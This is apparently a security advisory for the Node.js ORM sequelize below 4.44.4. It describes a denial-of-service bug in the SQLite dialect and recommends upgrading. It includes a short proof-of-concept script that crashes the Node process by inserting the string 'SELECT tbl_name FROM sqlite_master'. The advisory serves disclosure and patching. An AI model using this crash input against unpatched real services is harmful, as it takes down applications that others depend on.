Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.

The following proof-of-concept crashes the Node process: ``` const Sequelize = require('sequelize');

const sequelize = new Sequelize({ dialect: 'sqlite', storage: 'database.sqlite' });

const TypeError = sequelize.define('TypeError', { name: Sequelize.STRING, });

TypeError.sync({force: true}).then(() => { return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"}); }); ```

## Recommendation

Upgrade to version 4.44.4 or later.
